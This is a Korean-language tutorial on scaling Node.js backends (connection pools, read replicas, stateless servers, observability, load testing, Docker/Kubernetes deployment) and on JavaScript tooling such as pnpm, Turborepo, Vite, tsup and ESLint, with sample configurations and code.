429 는 “거절”이 아니라 “안내”여야 합니다. Retry-After 를 주면 정상 클라이언트는 기다립니다. 아무 안내 없이 막으면 즉시 재시도해서 부하가 더 늘어납니다.
토큰 버킷 — 평소엔 넉넉하게, 몰릴 땐 정확하게 버킷 최대 5개까지 모입니다 초당 2개씩 다시 채워집니다 요청이 도착 토큰을 하나 꺼냅니다 있으면 통과 없으면 거절 200 · 정상 처리 429 Too Many Requests Retry-After 를 함께 버킷 크기 = 순간 허용량 · 채우는 속도 = 평균 허용량 둘을 나눠 잡을 수 있다는 점이 고정 창(1분에 60회) 방식보다 나은 이유입니다 서버가 여러 대면 각자 세면 안 됩니다 — Redis 에서 함께 세야 실제 한도가 지켜집니다 거절할 때는 남은 횟수와 초기화 시각을 헤더로 알려 주세요 — 상대가 재시도를 조절할 수 있습니다
한도를 두는 이유는 사용자를 막기 위해서가 아니라 모두가 쓸 수 있게 남겨 두기 위해서입니다.
SCALE 10

DB 확장 · 커넥션 풀

서버는 늘리기 쉽지만 DB 는 그렇지 않습니다.

커넥션 풀 — Node 의 진짜 한도

Node 는 스레드 제한이 없어서
"동시에 처리 중인 요청 수"에 상한이 없습니다.
→ 진짜 한도는 대부분 DB 커넥션 풀입니다.

계산
  서버 10대 × 풀 크기 20 = 200 커넥션
  PostgreSQL 기본 max_connections = 100
  → 절반이 연결 실패 ★

권장
  · 풀 크기는 (vCPU × 2 + 디스크수) 근처에서 시작
  · 서버 대수 × 풀 크기 < DB max_connections × 0.8
  · 서버가 많으면 PgBouncer 같은 커넥션 풀러를 앞에
// Prisma
DATABASE_URL="postgresql://...?connection_limit=10&pool_timeout=10"

// pg (직접 사용)
const pool = new Pool({
  max: 10,
  idleTimeoutMillis: 30_000,
  connectionTimeoutMillis: 3_000,     // ★ 무한 대기 금지
  statement_timeout: 10_000,          // ★ 느린 쿼리 강제 종료
});

// 풀 상태를 지표로 노출하세요
setInterval(() => {
  metrics.gauge("db_pool_idle", pool.idleCount);
  metrics.gauge("db_pool_waiting", pool.waitingCount);   // ★ 이게 쌓이면 부족
}, 10_000);

확장 순서 — 건너뛰지 마세요

1) 쿼리·인덱스 튜닝        ← 90% 는 여기서 끝 (무료)
2) 캐시 (k03~k04)          ← 읽기 부하 제거
3) 커넥션 풀·인스턴스 사양
4) 읽기 복제본             ← 읽기가 많은 서비스의 정답
5) 수직 분할 (도메인별 DB)
6) 샤딩                     ← 최후의 수단, 복잡도 폭발
// 읽기 복제본 — Prisma 확장
import { readReplicas } from "@prisma/extension-read-replicas";

const prisma = new PrismaClient().$extends(
  readReplicas({ url: env.DATABASE_REPLICA_URL }),
);

await prisma.user.findMany();                      // → 복제본
await prisma.$primary().user.findMany();           // → 프라이머리 강제
await prisma.user.create({ data });                // 쓰기는 항상 프라이머리
복제 지연을 반드시 고려하세요. “글을 쓰고 바로 목록을 봤는데 내 글이 없다” — 복제본이 아직 못 따라온 것입니다. 쓰기 직후 조회는 프라이머리로 보내거나, 화면에서 낙관적으로 먼저 보여 주세요.

대용량 테이블 다루기

깊은 페이징
select * from orders
 order by id desc
 limit 20 offset 1000000;
-- 100만 건 세고 버림
커서 방식
select * from orders
 where id < :lastId
 order by id desc
 limit 20;
-- 항상 같은 속도 ★
대량 UPDATE 는 쪼개서. 100만 건을 한 번에 고치면 락과 복제 지연이 생깁니다. 1,000건씩 나눠 커밋하고 사이에 이벤트 루프를 양보하세요(🟩 Node n11).
풀은 앱마다 있습니다 — 전체 합이 DB 한계를 넘으면 안 됩니다 앱 인스턴스 1 풀 10 앱 인스턴스 2 풀 10 앱 인스턴스 3 풀 10 DB max_connections 100 계산은 곱셈입니다 인스턴스 3 × 풀 10 = 30 — 여기에 배포 중 겹치는 인스턴스, 배치 작업, 관리자 접속까지 더해야 합니다 크게 잡는다고 빨라지지 않습니다 DB 가 동시에 처리할 수 있는 양은 코어 수에 묶여 있습니다 풀만 키우면 DB 안에서 줄을 서며 전체가 느려집니다 시작값은 코어 수 × 2 ~ 4 정도. 늘리기 전에 느린 쿼리부터 잡으세요 — 대개 풀이 모자란 것이 아니라 쿼리가 오래 걸리는 것입니다 서버리스·오토스케일 환경은 인스턴스가 폭증할 수 있어 외부 커넥션 풀러를 앞에 두는 편이 안전합니다
"커넥션이 부족합니다" 로그는 대개 풀 크기가 아니라 쿼리 시간의 문제입니다.
SCALE 11

수평 확장 · 무상태

서버를 늘리려면 서버가 기억하는 게 없어야 합니다.

확장을 막는 것들

문제해결
메모리 세션Redis 세션 스토어 또는 JWT
메모리 캐시Redis (또는 짧은 TTL 로 감수)
로컬 디스크 업로드S3 등 공용 스토리지
메모리 Rate LimitRedis 스토어 (k09)
setInterval 스케줄러서버마다 실행됨 → 분산 락이나 전용 워커
WebSocket 연결Redis 어댑터로 브로드캐스트
// ❌ 서버 3대면 크론이 3번 돕니다
cron.schedule("0 3 * * *", () => settleDaily());

// ✅ 방법 1 — 분산 락으로 한 대만
cron.schedule("0 3 * * *", async () => {
  const got = await redis.set("cron:settle", "1", "EX", 3600, "NX");
  if (!got) return;                       // 다른 서버가 이미 실행 중
  await settleDaily();
});

// ✅ 방법 2 — 큐에 등록하고 워커가 처리 (권장)
cron.schedule("0 3 * * *", () =>
  settleQueue.add("daily", { date: today() },
    { jobId: `daily:${today()}` }));      // ★ jobId 로 중복 차단

// ✅ 방법 3 — K8s CronJob 으로 분리 (가장 깔끔)

세션과 WebSocket

// 세션을 Redis 로
import session from "express-session";
import { RedisStore } from "connect-redis";

app.use(session({
  store: new RedisStore({ client: redis }),
  secret: env.SESSION_SECRET,
  resave: false, saveUninitialized: false,
  cookie: { httpOnly: true, secure: true, sameSite: "lax", maxAge: 86400_000 },
}));
// Socket.IO — 서버 여러 대에서 브로드캐스트
import { createAdapter } from "@socket.io/redis-adapter";

const pub = new Redis(env.REDIS_URL);
const sub = pub.duplicate();
io.adapter(createAdapter(pub, sub));
// ★ 이게 없으면 A 서버 사용자와 B 서버 사용자가 서로 못 봅니다

스티키 세션은 해법이 아닙니다

"같은 사용자를 항상 같은 서버로" (sticky session)
  · 그 서버가 죽으면 사용자 상태가 사라짐
  · 부하가 고르게 분산되지 않음
  · 배포 시 특정 서버만 몰림
  · 오토스케일과 충돌

→ 임시 방편으로만 쓰고, 결국 상태를 밖으로 빼야 합니다.
“이 서버를 아무 때나 죽여도 되는가?” 이 질문에 예라고 답할 수 있으면 수평 확장 준비가 된 것입니다. 오토스케일·롤링 배포·스팟 인스턴스가 전부 이 전제 위에 있습니다.
SCALE 12

관측 가능성 — 안 보이면 못 고친다

대규모에서 모니터링은 기능의 일부입니다. 나중에 붙이는 게 아닙니다.

세 기둥

종류답해 주는 질문 · 도구
메트릭“지금 몇 RPS 이고 p99 는?” — prom-client → Prometheus → Grafana
로그“그때 무슨 일이?” — pino → Loki / ELK
추적“어느 서비스에서 느려졌나?” — OpenTelemetry → Jaeger / Tempo
npm i prom-client @opentelemetry/auto-instrumentations-node pino
// 메트릭
import client from "prom-client";
client.collectDefaultMetrics();              // CPU·메모리·이벤트 루프 자동 수집

const httpDuration = new client.Histogram({
  name: "http_request_duration_seconds",
  help: "요청 처리 시간",
  labelNames: ["method", "route", "status"],  // ★ 고유값을 라벨에 넣지 마세요
  buckets: [0.01, 0.05, 0.1, 0.3, 1, 3],
});

app.use((req, res, next) => {
  const end = httpDuration.startTimer();
  res.on("finish", () =>
    end({ method: req.method, route: req.route?.path ?? "unknown",
          status: res.statusCode }));
  next();
});

app.get("/metrics", async (_req, res) =>
  res.set("Content-Type", client.register.contentType)
     .end(await client.register.metrics()));
라벨에 사용자ID·주문번호를 넣지 마세요. Prometheus 는 라벨 조합마다 시계열을 만듭니다. 고유값을 넣으면 시계열이 수백만 개가 되어(카디널리티 폭발) 모니터링 서버가 먼저 죽습니다. 그건 로그에 남기세요.

추적 — 로그를 하나로 꿰기

// instrumentation.ts — ★ 앱보다 먼저 로드되어야 합니다
import { NodeSDK } from "@opentelemetry/sdk-node";
import { getNodeAutoInstrumentations } from "@opentelemetry/auto-instrumentations-node";

new NodeSDK({
  serviceName: "order-api",
  instrumentations: [getNodeAutoInstrumentations()],   // HTTP·DB·Redis 자동 계측
}).start();

// node --import ./instrumentation.js dist/index.js
// 로그에 추적 ID 붙이기 (🟩 Node n16)
import { trace } from "@opentelemetry/api";

const log = (obj: object, msg: string) => {
  const span = trace.getActiveSpan()?.spanContext();
  logger.info({ ...obj, traceId: span?.traceId, spanId: span?.spanId }, msg);
};
10:32:01.412 [order-api]  INFO [a1b2c3d4] 주문 생성 12345
10:32:01.520 [point-api]  INFO [a1b2c3d4] 포인트 적립
10:32:01.733 [pay-api]    ERROR[a1b2c3d4] 결제 게이트웨이 타임아웃

→ traceId 하나로 여러 서비스의 로그를 한 줄로 잇습니다.
   MSA 에서 이게 없으면 장애 분석이 사실상 불가능합니다.

알람은 “증상”에

알람 대상기준 예
p99 응답시간5분 평균 > 1s
5xx 비율> 1%
이벤트 루프 지연p99 > 100ms
큐 백로그계속 증가
DLQ 건수> 0
DB 커넥션 대기> 0 지속
“CPU 80%” 같은 알람은 쓸모가 적습니다. 정상일 수도 있고, CPU 가 낮은데 서비스가 죽을 수도 있습니다. 사용자가 아픈 지표에 거세요. 알람이 너무 많으면 아무도 안 봅니다(알람 피로).
SCALE 13

부하 테스트

“몇 명까지 버팁니까?”의 답은 재 봐야 나옵니다.

도구

도구특징
k6JS 로 시나리오 작성. CI 붙이기 좋음. 요즘 표준
autocannonNode 제작. 한 줄로 즉시 측정 — 개발 중 확인용
ArtilleryYAML 시나리오. Node 생태계
nGrinder국산. 대기업 사내에서 자주 씁니다
# 빠른 확인
npx autocannon -c 100 -d 30 http://localhost:3000/api/products
# -c 동시 연결 · -d 시간(초)
// k6 — load-test.js
import http from "k6/http";
import { check, sleep } from "k6";

export const options = {
  stages: [
    { duration: "2m", target: 100 },   // 서서히 증가
    { duration: "5m", target: 100 },   // 유지 ← 여기 지표가 진짜
    { duration: "2m", target: 500 },   // 스파이크
    { duration: "3m", target: 0 },     // 회복 확인
  ],
  thresholds: {
    http_req_duration: ["p(95)<500", "p(99)<1500"],
    http_req_failed: ["rate<0.01"],
  },
};

export default function () {
  const res = http.get("https://api.example.com/products?page=1");
  check(res, { "200": (r) => r.status === 200 });
  sleep(1);                             // ★ 실제 사용자처럼 생각하는 시간
}

테스트하며 같이 볼 것

부하 생성기 쪽        서버 쪽 (동시에 봐야 의미 있음)
─────────────────    ──────────────────────────────
RPS                  CPU · 메모리 · RSS
p95 · p99            ★ 이벤트 루프 지연
오류율               DB 커넥션 대기 수
                     DB CPU · 슬로우 쿼리
                     Redis 명령 지연

"어디가 먼저 100% 가 되는가" — 그게 병목입니다.
아무 데도 100% 가 아닌데 느리면 → 어딘가에서 '대기' 중
내 노트북에서 테스트하지 마세요. 부하 생성기 쪽이 먼저 한계에 걸려 서버가 멀쩡한데 느린 것처럼 나옵니다. 생성기는 대상과 같은 네트워크의 별도 장비에 두세요.

테스트 종류

종류알아내는 것
부하(Load)예상 트래픽에서 정상인지
스트레스어디서 무너지는지
스파이크갑자기 10배가 오면
내구성(Soak)몇 시간 돌리면 — 메모리 누수 발견 ★
목표를 숫자로 먼저 정하세요. “빠르게”가 아니라 “피크 1,200 RPS 에서 p99 500ms, 오류율 0.1% 미만” 처럼. 이 문장이 곧 SLO 이고, 대기업에서는 문서로 관리합니다.
SCALE 14

배포 — Docker · K8s

무중단으로 배포하려면 애플리케이션이 지켜야 할 약속이 있습니다.

Dockerfile — 실무 형태

# 1) 의존성 (레이어 캐시 최적화)
FROM node:24-alpine AS deps
WORKDIR /app
COPY package*.json ./
RUN npm ci

# 2) 빌드
FROM node:24-alpine AS build
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY . .
RUN npm run build

# 3) 운영 — 최소한만
FROM node:24-alpine
WORKDIR /app
ENV NODE_ENV=production
COPY package*.json ./
RUN npm ci --omit=dev && npm cache clean --force
COPY --from=build /app/dist ./dist

# ★ root 로 실행 금지 (Dockerfile 은 줄 끝 # 주석을 지원하지 않아 따로 한 줄로)
USER node
EXPOSE 3000
# ★ npm start 로 하면 SIGTERM 이 Node 까지 전달되지 않습니다
CMD ["node", "dist/index.js"]
힙 한도는 자동 산정되지만, 명시하는 편이 안전합니다. Node 20+ 는 cgroup 의 memory.max 를 읽어 V8 기본 힙 크기를 컨테이너에 맞춰 잡습니다. 그래도 --max-old-space-size 를 컨테이너 메모리의 70~75% 로 직접 지정하는 이유는 — ① Buffer·네이티브 모듈·스레드 스택은 힙 밖이라 자동 산정값에도 여유가 없을 수 있고, ② 사이드카가 붙은 파드에서는 파드 전체 한도와 컨테이너 한도가 어긋나며, ③ 값을 못 박아야 OOMKilled(exit 137) 대신 V8 의 heap out of memory 스택을 로그로 받을 수 있기 때문입니다.
# 2GB 컨테이너 기준 (주석은 CMD 와 같은 줄에 두면 안 됩니다)
CMD ["node", "--max-old-space-size=1536", "dist/index.js"]

무중단 배포 — 끊기는 진짜 이유

파드 종료 시 실제로 일어나는 일
  1. 종료 중으로 표시
  2. 서비스 엔드포인트에서 제거   ┐ 이 둘은 동시에
  3. 컨테이너에 SIGTERM 전달      ┘ (순서 보장 없음)

  → 3번이 먼저 오면, 아직 라우팅되는 상태에서 종료가 시작
  → 그 사이 요청이 502 로 떨어집니다

해결: 종료 신호를 받고 몇 초 버틴 뒤 실제 종료
lifecycle:
  preStop:
    exec: { command: ["sh", "-c", "sleep 5"] }   # ★ 제거를 기다림
terminationGracePeriodSeconds: 60

livenessProbe:                       # ★ 의존성 검사 넣지 말 것
  httpGet: { path: /health/live, port: 3000 }
  initialDelaySeconds: 10
readinessProbe:                      # ★ DB·Redis 는 여기서
  httpGet: { path: /health/ready, port: 3000 }
  periodSeconds: 5

strategy:
  rollingUpdate: { maxSurge: 1, maxUnavailable: 0 }   # 무중단

resources:
  requests: { cpu: "250m", memory: "512Mi" }
  limits:   { cpu: "1",    memory: "2Gi" }
// 애플리케이션 쪽 — 우아한 종료 (🟩 Node n08)
process.on("SIGTERM", async () => {
  server.close();                                  // 새 요청 차단
  await new Promise(r => setTimeout(r, 5000));     // 진행 중 요청 완료
  await worker.close();                            // ★ 큐 워커도 정리
  await prisma.$disconnect();
  await redis.quit();
  process.exit(0);
});
단일 VM 이라면 PM2 로도 무중단이 됩니다 — pm2 reload app 이 하나씩 순차 재시작합니다. K8s 를 쓸 여건이 아니면 PM2 클러스터 모드가 현실적인 선택입니다.
SCALE 15

전체 그림 · 체크리스트

지금까지의 조각을 한 장으로. 면접 답변과 설계 리뷰에 그대로 씁니다.

Node 기반 대규모 서비스의 표준 구성

                     [CDN]  정적 파일 · 이미지
                       │
                  [로드밸런서]  TLS 종료 · 헬스체크
                       │
                  [API 게이트웨이]  인증 · Rate Limit · 라우팅
                       │
       ┌───────────────┼───────────────┐
  [주문 API]      [상품 API]      [회원 API]      ← 각각 여러 파드, 오토스케일
       │               │               │
       │          [Redis]  캐시 · 세션 · 분산락 · 큐(BullMQ)
       │               │
  [Primary DB] ──복제──→ [Read Replica ×N]
       │
  [워커 프로세스]  메일 · 이미지 · 정산 (API 와 분리 배포) ★
       │
  [Kafka]  주문 이벤트 → 검색색인 · 정산 · 분석
       │
  [관측]  Prometheus + Grafana · Loki · Tempo

배포 전 체크리스트

  • ☐ 모든 외부 호출에 타임아웃이 있는가
  • ☐ 이벤트 루프 지연을 측정·알람하고 있는가
  • ☐ 커넥션 풀 × 서버 대수가 DB 한도 안인가
  • ☐ 캐시 TTL 에 랜덤을 섞었는가
  • ☐ 재시도하는 API 가 멱등한가
  • ☐ 재고·포인트 차감이 원자적인가
  • ☐ 큐 작업이 두 번 실행돼도 괜찮은가
  • ☐ DLQ·백로그에 알람이 있는가
  • ☐ liveness / readiness 를 분리했는가
  • ☐ SIGTERM 처리 + preStop 이 있는가
  • ☐ --max-old-space-size 를 지정했는가
  • ☐ 로그가 JSON + traceId 인가
  • ☐ Redis 가 죽어도 서비스가 동작하는가
  • ☐ 부하 테스트로 한계 RPS 를 아는가

면접에서 이렇게 답하면 됩니다

질문답의 뼈대
Node 는 싱글 스레드인데
어떻게 트래픽을 받나?
I/O 대기 중에 다른 요청을 처리 → 대신 CPU 작업이 들어오면 즉시 무너짐 → 워커·별도 서비스로 분리 (k01·k02)
트래픽이 10배가 되면? 측정(k13) → 이벤트 루프·쿼리 개선 → 캐시 → 읽기 복제본 → 파드 확장 → 비동기화
선착순 쿠폰 10만 요청 Redis DECR 로 수량 판정 → 통과분만 큐로 → 워커가 DB 저장. DB 에 10만 요청을 보내지 않습니다
중복 결제를 어떻게 막나? Idempotency-Key + Redis 선점 + DB 유니크 제약(최후 방어선)
외부 결제사가 느려지면? 타임아웃 → 재시도(백오프+지터) → 서킷 브레이커 → 폴백
서버를 늘렸는데
세션이 풀립니다
메모리 세션 → Redis 세션 또는 JWT. 무상태가 확장의 전제(k11)
가장 좋은 답은 “저희는 이렇게 겪었습니다”입니다. 수치(전 800ms → 후 90ms), 원인(N+1 + 동기 JSON 파싱), 조치(include + 워커 분리), 확인 방법(k6 p99)까지 한 세트로 말하면 지식 나열보다 훨씬 강한 인상을 줍니다.

순서를 지키세요

1단계 — 측정 이벤트 루프 지연·슬로우 쿼리·p99 를 먼저 보세요(k02·k12). 여기서 끝나는 문제가 대부분입니다.
2단계 — 없애기 인덱스·N+1·동기 코드 제거. 코드를 고치는 게 가장 싸고 효과가 큽니다.
3단계 — 걷어내기 캐시로 DB 부하를 덜고(k03), 급하지 않은 일은 큐로(k07).
4단계 — 늘리기 무상태로 만들고(k11) 파드를 늘립니다. 이때부터 동시성(k05)과 멱등성(k06)이 필수가 됩니다.
5단계 — 지키기 타임아웃·서킷·Rate Limit(k08·k09)으로 과부하에서 무너지지 않게.
6단계 — 확인하기 부하 테스트로 한계를 재고(k13) 알람을 걸어 둡니다.
1·2단계를 건너뛰고 4단계로 가는 것이 가장 흔한 실수입니다. 동기 함수 하나만 고치면 될 일에 파드를 10개 늘리면 비용은 10배가 되고 문제는 그대로입니다. 그리고 다음 달에 다시 옵니다.
TOOLING · 개발 환경과 배포

코드보다
도구에서
시간이 갈린다

자바스크립트 생태계는 선택지가 너무 많은 것이 문제입니다. 이 탭은 2026년 기준 실무에서 실제로 쓰이는 조합만 골라 “무엇을 왜 고르는가”와 바로 붙여 쓸 설정을 정리했습니다. 여기까지 마치면 새 프로젝트의 개발 환경과 CI/CD 를 처음부터 혼자 세팅할 수 있습니다.

14SECTIONS
1선택 · 팀 전체
CI사람 대신 기계가
0스타일 논쟁
TOOL 01

패키지 매니저

팀에서 하나만 정해서 쓰세요. 섞이면 lock 파일이 충돌합니다.

비교

도구특징
npm기본 내장. 무난. 팀에 특별한 요구가 없으면 이걸로 충분
pnpm디스크 절약 + 빠름. 하드링크로 중복 제거. 모노레포에 강함 — 신규 프로젝트 추천
yarn (berry)PnP 등 고급 기능. 설정이 까다로워 호불호가 갈립니다
bun매우 빠르지만 런타임까지 바꾸는 선택. 아직 신중히
# pnpm — 요즘 신규 프로젝트의 기본
corepack enable                        # Node 24 까지 내장 (Node 25+ 는 npm i -g corepack)
pnpm install
pnpm add express
pnpm add -D typescript
pnpm dlx create-vite                   # npx 에 해당

# ★ 팀에 패키지 매니저를 강제하기
# package.json
{ "packageManager": "pnpm@10.30.2" }   # corepack 이 버전까지 맞춰 줍니다
lock 파일은 반드시 커밋하세요. 없으면 사람마다·서버마다 다른 버전이 설치되어 “내 PC 에서는 되는데” 문제가 생깁니다. package-lock.json·pnpm-lock.yaml 중 쓰는 것 하나만 남기세요.

install vs ci

npm install     # lock 을 "고칠 수 있음" — 개발용
npm ci          # ★ lock 그대로, node_modules 삭제 후 재설치
                #   CI·Docker 는 반드시 이것 (재현성 + 속도)

pnpm install --frozen-lockfile         # pnpm 의 ci 에 해당

npm outdated                           # 오래된 패키지
npm audit                              # ★ 취약점 검사 (CI 에 포함)
npm ls some-pkg                        # 왜 설치됐는지 추적
pnpm why some-pkg                      # (pnpm) 의존 경로

의존성을 늘리기 전에

  • 내장 기능으로 되는가? — UUID·날짜 포맷·깊은 복사·fetch 는 이제 전부 내장(🟩 Node n14)
  • 마지막 업데이트가 1년 이상 전이면 재검토
  • 이 패키지가 또 몇 개를 끌고 오는지 확인
  • 번들 크기가 중요한 프런트엔드라면 bundlephobia 로 확인
  • postinstall 스크립트가 있는지 — 공급망 공격의 주요 통로(🧬 d13)
버전 고정 전략 — 애플리케이션은 ^ 로 두고 lock 으로 고정, 라이브러리는 범위를 넓게 두어 사용자와 충돌하지 않게 합니다. renovate·dependabot 으로 자동 PR 을 받으면 업데이트를 미루다 한꺼번에 터지는 일을 막습니다.
package.json 은 '범위', lock 파일은 '실제로 깔린 것' package.json "react": "^18.2.0" 18.2.0 이상 19 미만이면 아무거나 package-lock.json · pnpm-lock.yaml "react": "18.3.1" — 정확한 버전과 해시 모두가 · CI 도 같은 것을 설치합니다 lock 을 안 올리면 사람마다 다른 버전이 깔려 "제 PC 에서는 되는데" 가 됩니다 CI 는 npm ci 로 — lock 그대로만 설치하고 없으면 실패합니다 매니저 고르기 pnpm — 디스크·설치 속도에서 유리, 모노레포에 강함 npm — 기본 제공. 한 프로젝트에 하나만 쓰세요 lock 충돌이 나면 손으로 고치지 말고 — package.json 을 먼저 합친 뒤 lock 을 다시 만드세요 의존성을 줄이는 것이 가장 확실한 보안 대책입니다 — 한 줄짜리 패키지는 직접 쓰는 편이 낫습니다
lock 파일은 빌드 재현성의 전부입니다 — .gitignore 에 넣으면 안 됩니다.
같은 "^18.2.0" — 언제 설치했느냐에 따라 다른 버전이 깔립니다 2022-06 2023-01 2024-04 2024-05 18.2.0 출시 18.3.0 · 18.3.1 출시 여전히 ^18.2.0 범위 안 개발자 A 설치 → 18.2.0 CI 가 lock 없이 설치 → 18.3.1 같은 package.json · 다른 node_modules lock 이 있으면 두 설치 모두 18.2.0 — 버전은 일부러 올릴 때만 바뀝니다 CI 는 npm ci — lock 과 package.json 이 어긋나면 설치를 거부합니다
lock 파일은 빌드 재현성의 전부입니다 — .gitignore 에 넣으면 안 됩니다.
TOOL 02

모노레포

프런트·백엔드·공통 타입을 한 저장소에서 관리합니다.

언제 쓰나

모노레포가 유리
  • 프런트·백엔드가 타입·스키마를 공유
  • 같은 팀이 여러 앱을 함께 배포
  • 공통 UI·유틸 패키지가 있음
  • 한 번에 걸친 변경이 잦음
분리가 나은 경우
  • 팀·배포 주기가 완전히 다름
  • 저장소 권한을 나눠야 함
  • CI 시간이 길어져 감당 안 됨
  • 구성원이 도구에 익숙하지 않음
my-repo/
  pnpm-workspace.yaml
  package.json                 루트 (공통 devDependencies)
  apps/
    api/                       NestJS 서버
    web/                       React 프런트
    mobile/                    React Native
  packages/
    schema/                    ★ Zod 스키마 + 타입 (양쪽에서 import)
    ui/                        공통 컴포넌트
    config/                    eslint · tsconfig 공유 설정
# pnpm-workspace.yaml
packages:
  - "apps/*"
  - "packages/*"

Turborepo — 빌드 캐시

pnpm add -Dw turbo
// turbo.json
{
  "tasks": {
    "build": {
      "dependsOn": ["^build"],        // ★ 의존 패키지를 먼저 빌드
      "outputs": ["dist/**"]
    },
    "test":      { "dependsOn": ["build"] },
    "typecheck": { "dependsOn": ["^build"] },
    "dev":       { "cache": false, "persistent": true }
  }
}
turbo build                    # 바뀐 것만 빌드 (캐시 활용)
turbo build --filter=api       # 특정 앱만
turbo build --filter=...[HEAD^]  # 변경된 것과 그것에 의존하는 패키지만 ★ CI 에서 유용

# 효과: 안 바뀐 패키지는 캐시에서 즉시 복원 → CI 시간이 크게 줄어듭니다
// apps/api/package.json — 내부 패키지 참조
{
  "dependencies": {
    "@repo/schema": "workspace:*"     // ★ pnpm 워크스페이스 프로토콜
  }
}
// 이렇게 쓰면 프런트·백엔드가 같은 타입을 봅니다
import { CreateUserSchema, type CreateUser } from "@repo/schema";

// 서버: 검증
const dto = CreateUserSchema.parse(req.body);
// 프런트: 폼 검증 + 타입
const form = useForm<CreateUser>({ resolver: zodResolver(CreateUserSchema) });
모노레포의 진짜 가치가 여기 있습니다. API 응답 형태를 바꾸면 프런트엔드가 컴파일 에러로 알려 줍니다. “배포하고 나서야 깨진 걸 아는” 상황이 사라집니다.
모노레포 — 함께 바뀌는 것을 한 저장소에 둡니다 repo/ apps/web apps/admin apps/api packages/ — 타입 · UI 컴포넌트 · 검증 스키마 · 공용 설정 얻는 것 타입 한 번 고치면 세 앱에 즉시 · 맞물린 변경이 한 커밋 치르는 것 저장소가 커지고 CI 가 느려집니다 — 캐시 도구가 사실상 필수 pnpm workspace + Turborepo 조합이 가장 무난합니다 — 바뀐 패키지만 다시 빌드합니다
모노레포의 기준은 규모가 아니라 같이 바뀌는 코드인가입니다.
TOOL 03

번들러 · 빌드

목적에 따라 도구가 다릅니다. 고민 시간을 줄이는 표부터.

무엇을 언제

도구용도
Vite프런트엔드 앱 — 개발 서버가 매우 빠름. 사실상 표준. Vite 8 부터 Rolldown(Rust)이 기본 번들러, oxlint 가 기본 린터입니다
tsup라이브러리 — ESM+CJS+d.ts 를 한 번에. 설정이 거의 없음
tscNode 서버 — 그냥 컴파일만 하면 될 때
esbuild매우 빠른 저수준 번들러 (위 도구들의 내부 엔진)
Rollup / Rolldown라이브러리 번들의 전통 강자 / Rolldown 이 Vite 8 의 기본이며 Rollup 플러그인과 대체로 호환됩니다
webpack레거시 유지보수 외에는 신규 채택 이유가 줄었습니다
// vite.config.ts — 프런트엔드
export default defineConfig({
  plugins: [react()],
  resolve: { alias: { "@": path.resolve(__dirname, "src") } },
  server: {
    port: 5173,
    proxy: { "/api": { target: "http://localhost:3000", changeOrigin: true } },
  },
  build: {
    sourcemap: true,
    rolldownOptions: {                  // Vite 8 — rollupOptions 는 이 이름으로 바뀜
      output: {
        codeSplitting: {                // ★ 자주 안 바뀌는 것을 분리 → 캐시 효율
          groups: [{ name: "vendor", test: /node_modules[\\/]react(-dom)?[\\/]/ }],
        },                              //   (manualChunks 객체 형식은 Vite 8 에서 미지원)
      },
    },
  },
});

라이브러리 빌드 — tsup

// tsup.config.ts
export default defineConfig({
  entry: ["src/index.ts"],
  format: ["esm", "cjs"],       // ★ 양쪽 지원 (🟨 JS j09)
  dts: true,                     // 타입 선언 자동 생성
  sourcemap: true,
  clean: true,
  treeshake: true,
  external: ["react"],           // ★ peer 의존성은 번들에 넣지 않기
});
// package.json — 진입점 정의
{
  "type": "module",
  "main": "./dist/index.cjs",
  "module": "./dist/index.js",
  "types": "./dist/index.d.ts",
  "exports": {
    ".": {
      "types": "./dist/index.d.ts",
      "import": "./dist/index.js",
      "require": "./dist/index.cjs"
    }
  },
  "files": ["dist"],             // ★ 배포에 포함할 것만
  "sideEffects": false           // 트리셰이킹 허용 신호
}

서버는 번들이 필요할까

대부분 필요 없습니다 — tsc 로 컴파일만 하면 충분합니다.

번들이 유용한 경우
  · 서버리스(Lambda) — 콜드 스타트를 줄여야 할 때
  · 단일 파일 배포가 필요할 때
  · 컨테이너 이미지를 극단적으로 줄일 때

주의: 네이티브 모듈(bcrypt·sharp·better-sqlite3)은
      번들에 포함되지 않습니다 → external 로 빼야 합니다
빌드가 느려졌다면 원인은 대개 타입 검사입니다. esbuild·swc 는 타입을 검사하지 않고 지우기만 합니다. tsc --noEmit 을 별도 스크립트로 분리해 빌드와 병렬로 돌리는 것이 실무 표준입니다.
번들러가 하는 일 — 모으고, 자르고, 나눕니다 진입 파일 main.tsx 의존성 그래프 import 를 따라감 트리셰이킹 안 쓰는 코드 제거 문법 낮추기 target 기준 청크 나누기 해시 붙여 내보냄 첫 화면 코드 index-3f9a.js · 먼저 받음 라우트별 지연 로드 import() · 열 때 받음 거의 안 바뀌는 라이브러리 vendor-9c2e.js · 캐시 재사용 파일 이름에 해시가 붙는 이유 — 안 바뀐 덩어리는 브라우저 캐시를 그대로 씁니다 개발 중에는 번들을 만들지 않고 필요한 파일만 그때그때 변환합니다 (Vite 가 빠른 이유) 번들이 갑자기 커졌다면 분석 도구부터 — 대개 무거운 라이브러리 하나가 통째로 들어옵니다
번들 최적화의 핵심은 압축률이 아니라 지금 필요한 것만 먼저 보내는 것입니다.
TOOL 04

ESLint · Prettier · Biome

코드 스타일 논쟁을 도구에게 넘기세요.

ESLint 10 — flat config 단독

npm i -D eslint typescript-eslint eslint-config-prettier
// eslint.config.js  (ESLint 10 부터 이 형식만 됩니다 — .eslintrc 는 제거됐습니다)
import js from "@eslint/js";
import tseslint from "typescript-eslint";
import prettier from "eslint-config-prettier";

export default tseslint.config(
  js.configs.recommended,
  ...tseslint.configs.recommendedTypeChecked,   // ★ 타입 정보를 쓰는 규칙
  {
    languageOptions: {
      parserOptions: { projectService: true },
    },
    rules: {
      "@typescript-eslint/no-floating-promises": "error",   // ★ await 빠뜨림 방지
      "@typescript-eslint/no-misused-promises": "error",
      "@typescript-eslint/no-unused-vars": ["warn", { argsIgnorePattern: "^_" }],
      "no-console": ["warn", { allow: ["warn", "error"] }],
      eqeqeq: ["error", "always"],
    },
  },
  { ignores: ["dist/**", "coverage/**"] },
  prettier,                                      // ★ 항상 마지막 (포맷 규칙 끄기)
);
no-floating-promises 는 켤 가치가 큽니다. await 를 빠뜨린 Promise 는 조용히 실패하고 Node 프로세스를 죽일 수도 있습니다(🟨 JS j11). 이 규칙 하나가 실제 버그를 여러 개 잡아 줍니다.
